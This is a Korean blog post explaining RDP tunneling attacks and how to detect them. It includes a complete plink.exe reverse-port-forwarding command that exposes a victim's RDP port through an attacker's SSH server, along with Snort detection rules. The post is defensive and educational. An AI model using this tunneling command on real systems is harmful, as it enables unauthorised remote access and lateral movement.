Recent Posts
Recent Comments
Archives
starting point
RDP 터널링 공격(Bypassing Network Restrictions Through RDP Tunneling) 본문
네트워크/패킷 분석
RDP 터널링 공격(Bypassing Network Restrictions Through RDP Tunneling)
dundole 2023. 11. 22. 21:17정의
- 피해 서버의 포트포워딩 설정을 통해 공격자가 차단된 RDP 포트를 우회하여 원격접속하는 공격
포트 포워딩
- 특정 로컬 포트로 들어오는 트래픽을 원격 포트로 전달(서버에 80으로 들어오면 다른 서버의 443으로 전달)
리버스 포트 포워딩
- 특정 원격 포트로 들어오는 트래픽을 로컬 포트로 전달
RDP(Remote Desktop Protocol)
- 원격 시스템과 클라이언트 간의 원격 제어 및 화면 공유를 위한 프로토콜
패킷 예시
Cookie: mstshash=Domain
공격 목적
- 초기 타겟 시스템에 접속 성공 후 백도어 생성. 수평 이동(타깃 시스템에 연결된 다른 시스템으로 연결)
- RDP 터널링을 수행하기 위해서는 초기 침투가 성공한 상태여야 한다.
통신 방식
공격자 PC -> 공격자의 SSH 서버 -> 피해시스템
공격자의 SSH 서버(192.168.0.10)
- etc/ssh/sshd_config 파일에서 GatewayPort=clientspecified 입력
클라이언트(피해시스템)에서 -R 옵션과 함께 주소를 지정하여 리버스 포트 포워딩을 요청할 수 있다.
피해 시스템
- RDP 연결 허용 설정(abc 사용자 추가)
- plink.exe test@192.168.0.10 -pw test -p 22 –2 –4 –T –N –C –R 0.0.0.0:12345:127.0.0.1:3389 를 실행
- -> plink는 임의포트를 이용해 다른 시스템에 접속할 수 있는 도구이다.
- -> 위 설정을 통해 공격자의 SSH 서버에 22번 포트로 연결. SSH서버에 tcp/12345로 들어오는 트래픽을 피해 시스템의 tcp/3389로 전달하도록 설정(리버스 포트포워딩)
공격자 PC
- RDP 프로그램을 통해 공격자의 SSH 서버로 접속
192.168.0.10:12345
사용자 이름: abc
탐지방안
- 방화벽 아웃바운드 통신 제어
- 외부에 서비스하지 않는 서버라면 사용하는 포트만 아웃바운드를 허용하는 것이 안전하다. tcp/22 SSH를 통해 서버에 접속하고 있다면 해당 서버에 실제로 접속하는 IP만 아웃바운드 허용하여 사용해야 한다.
- 아래와 같이 스노트 룰 생성
- alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA KE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; dist ance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)
- alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA KE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpd r"; content:"cliprdr"; sid:2; rev:1;)
출처: 원격데스크톱(RDP)터널링 공격 분석 및 대응방법(진료정보침해대응센터)
'네트워크 > 패킷 분석' 카테고리의 다른 글
Fortigate 인증 우회 취약점(CVE-2022-40684) (0) | 2023.12.01 |
---|---|
Shellshock 취약점 (2) | 2023.11.27 |
Open SSL 취약점(Heartbleed, CVE-2014-0160) (2) | 2023.11.18 |